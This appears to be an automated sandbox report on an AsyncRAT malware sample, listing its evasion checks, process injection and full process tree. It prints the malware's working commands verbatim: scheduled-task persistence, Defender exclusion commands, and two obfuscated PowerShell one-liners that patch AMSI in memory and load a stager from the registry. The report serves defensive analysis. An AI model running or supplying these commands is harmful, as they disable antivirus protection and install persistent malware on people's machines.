asyncrat | bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	$77-update.exe

Executes dropped EXE 2 IoCs

pid	Process
4836	$77-update.exe
456	$77-update.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	$77-update.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	$77-update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	$77-update.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	$77-update.exe

Maps connected drives based on registry 3 TTPs 4 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	$77-update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	$77-update.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3172 set thread context of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 4836 set thread context of 456	4836	$77-update.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4120	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4900	timeout.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
4828	powershell.exe
1984	powershell.exe
1984	powershell.exe
4828	powershell.exe
2236	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
Token: SeDebugPrivilege	456	$77-update.exe
Token: SeDebugPrivilege	456	$77-update.exe
Token: SeDebugPrivilege	4828	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3172 wrote to memory of 3084	3172	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	88
PID 3084 wrote to memory of 3984	3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	89
PID 3084 wrote to memory of 3984	3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	89
PID 3084 wrote to memory of 3984	3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	89
PID 3084 wrote to memory of 3564	3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	91
PID 3084 wrote to memory of 3564	3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	91
PID 3084 wrote to memory of 3564	3084	BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe	91
PID 3984 wrote to memory of 4120	3984	cmd.exe	93
PID 3984 wrote to memory of 4120	3984	cmd.exe	93
PID 3984 wrote to memory of 4120	3984	cmd.exe	93
PID 3564 wrote to memory of 4900	3564	cmd.exe	94
PID 3564 wrote to memory of 4900	3564	cmd.exe	94
PID 3564 wrote to memory of 4900	3564	cmd.exe	94
PID 3564 wrote to memory of 4836	3564	cmd.exe	95
PID 3564 wrote to memory of 4836	3564	cmd.exe	95
PID 3564 wrote to memory of 4836	3564	cmd.exe	95
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 4836 wrote to memory of 456	4836	$77-update.exe	96
PID 456 wrote to memory of 1984	456	$77-update.exe	97
PID 456 wrote to memory of 1984	456	$77-update.exe	97
PID 456 wrote to memory of 1984	456	$77-update.exe	97
PID 456 wrote to memory of 4828	456	$77-update.exe	99
PID 456 wrote to memory of 4828	456	$77-update.exe	99
PID 456 wrote to memory of 4828	456	$77-update.exe	99
PID 456 wrote to memory of 4708	456	$77-update.exe	102
PID 456 wrote to memory of 4708	456	$77-update.exe	102
PID 456 wrote to memory of 4708	456	$77-update.exe	102
PID 4708 wrote to memory of 2236	4708	cmd.exe	103
PID 4708 wrote to memory of 2236	4708	cmd.exe	103
PID 4708 wrote to memory of 2236	4708	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
"C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
  "{path}"
  2⤵
  - Checks computer location settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3084
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3984
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"'
      4⤵
      Creates scheduled task(s)
      PID:4120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF830.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3564
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4900
  - - C:\Users\Admin\AppData\Roaming\$77-update.exe
      "C:\Users\Admin\AppData\Roaming\$77-update.exe"
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Executes dropped EXE
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Maps connected drives based on registry
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4836
    - - C:\Users\Admin\AppData\Roaming\$77-update.exe
        
        "{path}"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:456
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1984
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension @('exe','dll') -Force
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4828
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mnrflr.exe"' & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4708
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mnrflr.exe"'
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2236
        
        C:\Users\Admin\AppData\Local\Temp\mnrflr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mnrflr.exe"
        8⤵
        
        PID:5060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:tbkqimiyfzUz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IwYtXOtBtQwQqj,[Parameter(Position=1)][Type]$iPMuxlCOEI)$nGObfZbeYad=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$nGObfZbeYad.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$IwYtXOtBtQwQqj).SetImplementationFlags('Runtime,Managed');$nGObfZbeYad.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$iPMuxlCOEI,$IwYtXOtBtQwQqj).SetImplementationFlags('Runtime,Managed');Write-Output $nGObfZbeYad.CreateType();}$MoqKhxaskFoaV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$ERtSQpGpRGsnyV=$MoqKhxaskFoaV.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hdhBAHpWubGdiEZRnlF=tbkqimiyfzUz @([String])([IntPtr]);$AtWIqquCzxHiNYyxENXFfi=tbkqimiyfzUz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$nVltDWITgSB=$MoqKhxaskFoaV.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$uYOfgWNwFTlDHf=$ERtSQpGpRGsnyV.Invoke($Null,@([Object]$nVltDWITgSB,[Object]('Load'+'LibraryA')));$MPiTVUgLZLAaebjPa=$ERtSQpGpRGsnyV.Invoke($Null,@([Object]$nVltDWITgSB,[Object]('Vir'+'tual'+'Pro'+'tect')));$bkPXySI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uYOfgWNwFTlDHf,$hdhBAHpWubGdiEZRnlF).Invoke('a'+'m'+'si.dll');$xNlZTUMACQZQgTSch=$ERtSQpGpRGsnyV.Invoke($Null,@([Object]$bkPXySI,[Object]('Ams'+'iSc'+'an'+'Buffer')));$TTdoOZlxkB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MPiTVUgLZLAaebjPa,$AtWIqquCzxHiNYyxENXFfi).Invoke($xNlZTUMACQZQgTSch,[uint32]8,4,[ref]$TTdoOZlxkB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$xNlZTUMACQZQgTSch,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MPiTVUgLZLAaebjPa,$AtWIqquCzxHiNYyxENXFfi).Invoke($xNlZTUMACQZQgTSch,[uint32]8,0x20,[ref]$TTdoOZlxkB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
1⤵
PID:2136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ziNMgoNGoBRl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ddsvCpgnIuaPhx,[Parameter(Position=1)][Type]$owgjmaxBSx)$HBOboKbxVfh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$HBOboKbxVfh.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$ddsvCpgnIuaPhx).SetImplementationFlags('Runtime,Managed');$HBOboKbxVfh.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$owgjmaxBSx,$ddsvCpgnIuaPhx).SetImplementationFlags('Runtime,Managed');Write-Output $HBOboKbxVfh.CreateType();}$BdGqLOqyvYNue=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$cSuiprfaphkETf=$BdGqLOqyvYNue.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GlWkWpIyEXtmHRCwDXp=ziNMgoNGoBRl @([String])([IntPtr]);$RWxZcAUYOwqiFpKSzzFWtH=ziNMgoNGoBRl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hmeXdfWNtXe=$BdGqLOqyvYNue.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$hkMlyYqJUjEkpz=$cSuiprfaphkETf.Invoke($Null,@([Object]$hmeXdfWNtXe,[Object]('Load'+'LibraryA')));$hPHoMYKRUySYnRwkT=$cSuiprfaphkETf.Invoke($Null,@([Object]$hmeXdfWNtXe,[Object]('Vir'+'tual'+'Pro'+'tect')));$muIcHaz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hkMlyYqJUjEkpz,$GlWkWpIyEXtmHRCwDXp).Invoke('a'+'m'+'si.dll');$PPcbRbsDdDmZjgCcI=$cSuiprfaphkETf.Invoke($Null,@([Object]$muIcHaz,[Object]('Ams'+'iSc'+'an'+'Buffer')));$HRtOUGFNEa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hPHoMYKRUySYnRwkT,$RWxZcAUYOwqiFpKSzzFWtH).Invoke($PPcbRbsDdDmZjgCcI,[uint32]8,4,[ref]$HRtOUGFNEa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PPcbRbsDdDmZjgCcI,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hPHoMYKRUySYnRwkT,$RWxZcAUYOwqiFpKSzzFWtH).Invoke($PPcbRbsDdDmZjgCcI,[uint32]8,0x20,[ref]$HRtOUGFNEa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
1⤵
PID:4008

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{d596c8ed-b563-4340-950c-862a3a8ebd51}
1⤵
PID:5040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion